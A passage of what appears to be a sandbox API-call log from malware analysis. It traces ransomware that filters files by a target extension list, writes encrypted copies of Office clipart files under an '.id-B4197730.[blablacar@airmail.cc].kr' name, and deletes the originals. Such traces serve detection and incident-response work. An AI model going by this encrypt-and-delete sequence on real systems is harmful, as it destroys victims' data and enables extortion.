(lpString=".7z") returned 3 [0211.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.456] lstrlenW (lpString=".dbf") returned 4 [0211.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.456] lstrlenW (lpString=".1cd") returned 4 [0211.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.456] lstrlenW (lpString=".jpg") returned 4 [0211.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.456] lstrlenW (lpString=".doc") returned 4 [0211.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.456] lstrlenW (lpString=".docx") returned 5 [0211.456] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.457] lstrlenW (lpString=".pdf") returned 4 [0211.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.457] lstrlenW (lpString=".xls") returned 4 [0211.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.457] lstrlenW (lpString=".xlsx") returned 5 [0211.457] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.457] lstrlenW (lpString=".ppt") returned 4 [0211.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.457] lstrlenW (lpString=".zip") returned 4 [0211.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.457] lstrlenW (lpString=".rar") returned 4 [0211.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.457] lstrlenW (lpString=".bz2") returned 4 [0211.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.457] lstrlenW (lpString=".7z") returned 3 [0211.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.457] lstrlenW (lpString=".dbf") returned 4 [0211.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.457] lstrlenW (lpString=".1cd") returned 4 [0211.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0211.457] lstrlenW (lpString=".jpg") returned 4 [0211.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.457] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.457] lstrlenW (lpString="J0107258.WMF") returned 12 [0211.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.458] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8552) returned 1 [0211.458] CloseHandle (hObject=0x574) returned 1 [0211.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220 [0211.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.459] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.459] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0211.459] GetLastError () returned 0x0 [0211.459] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2168, lpOverlapped=0x0) returned 1 [0211.461] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2170, lpOverlapped=0x0) returned 1 [0211.462] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.462] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0211.462] SetEndOfFile (hFile=0x3f8) returned 1 [0211.462] CloseHandle (hObject=0x3f8) returned 1 [0211.463] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.463] SetEndOfFile (hFile=0x574) returned 1 [0211.465] CloseHandle (hObject=0x574) returned 1 [0211.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0211.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.466] lstrlenW (lpString=".doc") returned 4 [0211.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.466] lstrlenW (lpString=".docx") returned 5 [0211.466] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.466] lstrlenW (lpString=".pdf") returned 4 [0211.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.466] lstrlenW (lpString=".xls") returned 4 [0211.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.467] lstrlenW (lpString=".xlsx") returned 5 [0211.467] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.467] lstrlenW (lpString=".ppt") returned 4 [0211.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.467] lstrlenW (lpString=".zip") returned 4 [0211.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.467] lstrlenW (lpString=".rar") returned 4 [0211.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString=".bz2") returned 4 [0211.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString=".7z") returned 3 [0211.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.467] lstrlenW (lpString=".dbf") returned 4 [0211.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.467] lstrlenW (lpString=".1cd") returned 4 [0211.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.467] lstrlenW (lpString=".jpg") returned 4 [0211.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.467] lstrlenW (lpString=".doc") returned 4 [0211.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString=".docx") returned 5 [0211.467] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.467] lstrlenW (lpString=".pdf") returned 4 [0211.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.467] lstrlenW (lpString=".xls") returned 4 [0211.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.467] lstrlenW (lpString=".xlsx") returned 5 [0211.468] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.468] lstrlenW (lpString=".ppt") returned 4 [0211.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.468] lstrlenW (lpString=".zip") returned 4 [0211.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.468] lstrlenW (lpString=".rar") returned 4 [0211.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.468] lstrlenW (lpString=".bz2") returned 4 [0211.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.468] lstrlenW (lpString=".7z") returned 3 [0211.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.468] lstrlenW (lpString=".dbf") returned 4 [0211.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.468] lstrlenW (lpString=".1cd") returned 4 [0211.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0211.468] lstrlenW (lpString=".jpg") returned 4 [0211.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.468] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.468] lstrlenW (lpString="J0107262.WMF") returned 12 [0211.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.469] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7996) returned 1 [0211.469] CloseHandle (hObject=0x574) returned 1 [0211.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220 [0211.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.288] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.288] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.289] GetLastError () returned 0x0 [0212.289] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0212.290] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1f40, lpOverlapped=0x0) returned 1 [0212.291] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0212.291] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0212.291] SetEndOfFile (hFile=0x3f8) returned 1 [0212.296] CloseHandle (hObject=0x3f8) returned 1 [0212.297] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.297] SetEndOfFile (hFile=0x518) returned 1 [0212.299] CloseHandle (hObject=0x518) returned 1 [0212.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0212.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.300] lstrlenW (lpString=".doc") returned 4 [0212.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.300] lstrlenW (lpString=".docx") returned 5 [0212.300] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.300] lstrlenW (lpString=".pdf") returned 4 [0212.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString=".xls") returned 4 [0212.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.301] lstrlenW (lpString=".xlsx") returned 5 [0212.301] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.301] lstrlenW (lpString=".ppt") returned 4 [0212.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.301] lstrlenW (lpString=".zip") returned 4 [0212.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.301] lstrlenW (lpString=".rar") returned 4 [0212.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString=".bz2") returned 4 [0212.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString=".7z") returned 3 [0212.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.301] lstrlenW (lpString=".dbf") returned 4 [0212.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.301] lstrlenW (lpString=".1cd") returned 4 [0212.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.301] lstrlenW (lpString=".jpg") returned 4 [0212.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.301] lstrlenW (lpString=".doc") returned 4 [0212.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString=".docx") returned 5 [0212.301] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.301] lstrlenW (lpString=".pdf") returned 4 [0212.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.301] lstrlenW (lpString=".xls") returned 4 [0212.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.302] lstrlenW (lpString=".xlsx") returned 5 [0212.302] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.302] lstrlenW (lpString=".ppt") returned 4 [0212.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.302] lstrlenW (lpString=".zip") returned 4 [0212.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.302] lstrlenW (lpString=".rar") returned 4 [0212.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.302] lstrlenW (lpString=".bz2") returned 4 [0212.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.302] lstrlenW (lpString=".7z") returned 3 [0212.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.302] lstrlenW (lpString=".dbf") returned 4 [0212.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.302] lstrlenW (lpString=".1cd") returned 4 [0212.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0212.302] lstrlenW (lpString=".jpg") returned 4 [0212.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.302] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.302] lstrlenW (lpString="J0107456.WMF") returned 12 [0212.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.303] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3724) returned 1 [0212.303] CloseHandle (hObject=0x518) returned 1 [0212.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220 [0212.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.304] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.304] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.305] GetLastError () returned 0x0 [0212.305] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xe8c, lpOverlapped=0x0) returned 1 [0212.307] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xe90, lpOverlapped=0x0) returned 1 [0212.307] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0212.307] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0212.308] SetEndOfFile (hFile=0x3f8) returned 1 [0212.308] CloseHandle (hObject=0x3f8) returned 1 [0212.308] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.308] SetEndOfFile (hFile=0x518) returned 1 [0212.311] CloseHandle (hObject=0x518) returned 1 [0212.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0212.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.312] lstrlenW (lpString=".doc") returned 4 [0212.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.312] lstrlenW (lpString=".docx") returned 5 [0212.312] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0212.312] lstrlenW (lpString=".pdf") returned 4 [0212.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.312] lstrlenW (lpString=".xls") returned 4 [0212.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.312] lstrlenW (lpString=".xlsx") returned 5 [0212.312] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0212.312] lstrlenW (lpString=".ppt") returned 4 [0212.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.312] lstrlenW (lpString=".zip") returned 4 [0212.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.312] lstrlenW (lpString=".rar") returned 4 [0212.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.312] lstrlenW (lpString=".bz2") returned 4 [0212.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.312] lstrlenW (lpString=".7z") returned 3 [0212.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.312] lstrlenW (lpString=".dbf") returned 4 [0212.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0212.313] lstrlenW (lpString=".1cd") returned 4 [0212.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 